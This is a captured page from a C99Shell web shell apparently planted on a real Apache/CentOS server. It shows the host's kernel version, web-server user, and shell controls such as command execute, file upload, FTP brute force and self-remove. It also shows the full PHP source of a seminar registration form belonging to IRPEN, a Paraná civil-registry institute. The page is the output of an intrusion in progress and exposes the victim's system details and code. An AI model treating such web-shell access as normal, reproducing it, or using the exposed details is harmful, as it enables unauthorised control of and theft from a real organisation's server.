!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16. PHP/5.4.16 

uname -a: Linux roko-bkp 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 

uid=48(apache) gid=48(apache) groups=48(apache),1003(webmaster) 

Safe-mode: OFF (not secure)

/var/www/html/   drwxr-xr-x
Free 9.44 GB of 93.48 GB (10.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     inscricao_teste.php (9.96 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
//inclui o template de cabecalho

include("cabecalho.php");
$title="IRPEN | Instituto de Registro Civil de Pessoas Naturais do Paraná - 2011";
$not=$_GET['not'];
?>
<script language="javascript" type="text/javascript">
function checkMail(mail){ 
        var er = new RegExp(/^[A-Za-z0-9_\-\.]+@[A-Za-z0-9_\-\.]{2,}\.[A-Za-z0-9]{2,}(\.[A-Za-z0-9])?/); 
        if(typeof(mail) == "string"){ 
                if(er.test(mail)){ return true; } 
        }else if(typeof(mail) == "object"){ 
        if(er.test(mail.value)){  
            return true;  
        } 
        }else{ 
            return false; 
        } 
}
function txtBoxFormat(objeto, sMask, evtKeyPress) {
    var i, nCount, sValue, fldLen, mskLen,bolMask, sCod, nTecla;
 
 
    if(document.all) { // Internet Explorer
        nTecla = evtKeyPress.keyCode;
    } else if(document.layers) { // Nestcape
        nTecla = evtKeyPress.which;
    } else {
        nTecla = evtKeyPress.which;
        if (nTecla == 8) {
            return true;
        }
    }
 
    sValue = objeto.value;
 
    // Limpa todos os caracteres de formatação que
    // já estiverem no campo.
    sValue = sValue.toString().replace( "-", "" );
    sValue = sValue.toString().replace( "-", "" );
    sValue = sValue.toString().replace( ".", "" );
    sValue = sValue.toString().replace( ".", "" );
    sValue = sValue.toString().replace( "/", "" );
    sValue = sValue.toString().replace( "/", "" );
    sValue = sValue.toString().replace( ":", "" );
    sValue = sValue.toString().replace( ":", "" );
    sValue = sValue.toString().replace( "(", "" );
    sValue = sValue.toString().replace( "(", "" );
    sValue = sValue.toString().replace( ")", "" );
    sValue = sValue.toString().replace( ")", "" );
    sValue = sValue.toString().replace( " ", "" );
    sValue = sValue.toString().replace( " ", "" );
    fldLen = sValue.length;
    mskLen = sMask.length;
 
    i = 0;
    nCount = 0;
    sCod = "";
    mskLen = fldLen;
 
    while (i <= mskLen) {
      bolMask = ((sMask.charAt(i) == "-") || (sMask.charAt(i) == ".") || (sMask.charAt(i) == "/") || (sMask.charAt(i) == ":"))
      bolMask = bolMask || ((sMask.charAt(i) == "(") || (sMask.charAt(i) == ")") || (sMask.charAt(i) == " "))
 
      if (bolMask) {
        sCod += sMask.charAt(i);
        mskLen++; }
      else {
        sCod += sValue.charAt(nCount);
        nCount++;
      }
 
      i++;
    }
 
    objeto.value = sCod;
 
    if (nTecla != 8) { // backspace
      if (sMask.charAt(i-1) == "9") { // apenas números...
        return ((nTecla > 47) && (nTecla < 58)); } 
      else { // qualquer caracter...
        return true;
      } 
    }
    else {
      return true;
    }
  }
    function trim(str) { 
        return str.replace(/^\s+|\s+$/g,""); 
    } 

  
    function valida_formulario() {
        
        if (trim(document.getElementById("txtNome").value) == "") {
            alert("Por favor, preencha o nome!");
            document.getElementById("txtNome").focus();
            return false;
        } else
        if (trim(document.getElementById("txtCartorio").value) == "") {
            alert("Por favor, preencha o cartorio!");
            document.getElementById("txtCartorio").focus();
            return false;
        } else 
        if (trim(document.getElementById("txtEndereco").value) == "") {
            alert("Por favor, preencha o endereco!");
            document.getElementById("txtEndereco").focus();
            return false;
        } else
        if (trim(document.getElementById("txtCidade").value) == "") {
            alert("Por favor, preencha a cidade!");
            document.getElementById("txtCidade").focus();
            return false;
        } else
        if (trim(document.getElementById("txtCep").value) == "") {
            alert("Por favor, preencha o CEP!");
            document.getElementById("txtCep").focus();
            return false;
        } else
        if (trim(document.getElementById("txtTelefone").value) == "") {
            alert("Por favor, preencha o telefone!");
            document.getElementById("txtTelefone").focus();
            return false;
        } else
        if (trim(document.getElementById("txtEmail").value) == "") {
            alert("Por favor, preencha o email!");
            document.getElementById("txtEmail").value = '';
            document.getElementById("txtEmail").focus();
            return false;
        } else
        if (!checkMail(trim(document.getElementById("txtEmail").value))) {
            alert("Por favor, digite um email valido!");
            document.getElementById("txtEmail").value = '';
            document.getElementById("txtEmail").focus();
            return false;
        }
        return true;
        
    }
</script>


                            <div id="cont_geral">

                                  <div id="cont_esq">

                                      <h2 class="tit4">11&ordm; SEMIN&Aacute;RIO DE TRABALHO REGISTRAL CIVIL</h2>
                                      
                                      <br />

    <?php        //die();
    
?>
                                   
                                    <p>
                                      <?php                                    $sqlConta "
                                        SELECT *
                                        FROM inscricao_seminario
                                        WHERE INS_Evento = '11seminario'
                                            AND INS_AtivoSN = 'S'
                                    "
;
                                    
$rsConta $conexao->query($sqlConta);
                                    
                                    
$total $rsConta->num_rows;
                                    
                                    
//$total = 150;
                                    
                                    
$disp 150;
                                    
                                    if (
$total >= $disp) {
                                        echo 
"<b><h2 align='center'>Inscri&ccedil;&otilde;es Encerradas</b></h2>";
                                    } else {
                                    
?>
                                    </p>
                                    <center>
                                      <h3 style="font-size:18px;">FICHA DE INSCRI&Ccedil;&Atilde;O</h3>
                                    </center>
                                    <div style="width:580px; margin:0px auto;">
                                      <p><b>Inscri&ccedil;&otilde;es Dispon&iacute;veis: <?= ($disp-$total)?></b></p>
                                    </div>
                                    <form name="frmInscricao" id="frmInscricao" method="post" action="inscricao_grava_teste.php" onsubmit="return valida_formulario()">
                                    <fieldset>
                                        <p><strong><span class="obrigatorio">*</span> Campos obrigat&oacute;rios</strong></p>
                                        <label for="txtNome">Nome para identifica&ccedil;&atilde;o do cracha <span class="obrigatorio">*</span>:</label>
                                        <input type="text" name="txtNome" id="txtNome" size="50" />
                                        <br>
                                        <label for="txtCartorio">Cart&oacute;rio <span class="obrigatorio">*</span>:</label>
                                        <input type="text" name="txtCartorio" id="txtCartorio" size="50" />
                                        <br>
                                        <label for="txtEndereco">Endere&ccedil;o <span class="obrigatorio">*</span>:</label>
                                        <input type="text" name="txtEndereco" id="txtEndereco" size="50" />
                                        <br>
                                        <label for="txtCidade">Cidade <span class="obrigatorio">*</span>:</label>
                                        <input type="text" name="txtCidade" id="txtCidade" size="50" />
                                        <br>
                                        <label for="txtCep">CEP <span class="obrigatorio">*</span>:</label>
                                        <input type="text" name="txtCep" id="txtCep" size="11" />
                                        <br>
                                        <label for="txtTelefone">Telefone <span class="obrigatorio">*</span>:</label>
                                        <input type="text" name="txtTelefone" id="txtTelefone" size="16" />
                                        <br>
                                        <label for="txtFax">FAX:</label>
                                        <input type="text" name="txtFax" id="txtFax" size="16" />
                                        <br>
                                        <label for="txtCelular">Celular:</label>
                                        <input type="text" name="txtCelular" id="txtCelular" size="16" />
                                        <br>
                                        <label for="txtEmail">E-mail <span class="obrigatorio">*</span>:</label>
                                        <input type="text" name="txtEmail" id="txtEmail" size="50" />
                                        <br>
<!--
                                        <p><strong>Nome do acompanhante</strong></p>
                                        <label for="txtAcompanhante1">Acompanhante:</label>
                                        <input type="text" name="txtAcompanhante1" id="txtAcompanhante1" size="50" />
-->
                                        <!--
                                        <br>
                                        <label for="txtAcompanhante2">Acompanhante 2:</label>
                                        <input type="text" name="txtAcompanhante2" id="txtAcompanhante2" size="50" />
                                        <br>
                                        <label for="txtAcompanhante3">Acompanhante 3:</label>
                                        <input type="text" name="txtAcompanhante3" id="txtAcompanhante3" size="50" />
                                        -->
                                        <br><br>
                                        <div align="center">
                                            <input type="submit" name="btnInscrever" id="btnInscrever" value="Inscrever-se" class="button" />
                                            <input type="button" name="btnLimpar" id="btnLimpar" value="Limpar" class="button" />
                                        </div>
                                    </fieldset>
                                </form>
                               <?php  ?>
                               
                               <div align="center">
    <img src="eventos/11Seminario/af_irpen_XI_convite_a01.jpg" border="0" title="11&deg; Semin&aacute;rio de Trabalho Registral Civil" width="650"/></div>
    
    
                                
</div> <!--fecha a div "cont_esq"-->




<?php
//inclui o template do menu da direita
include("menu_direita.php");

//inclui o template de rodapé
include("rodape.php");
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.004 ]--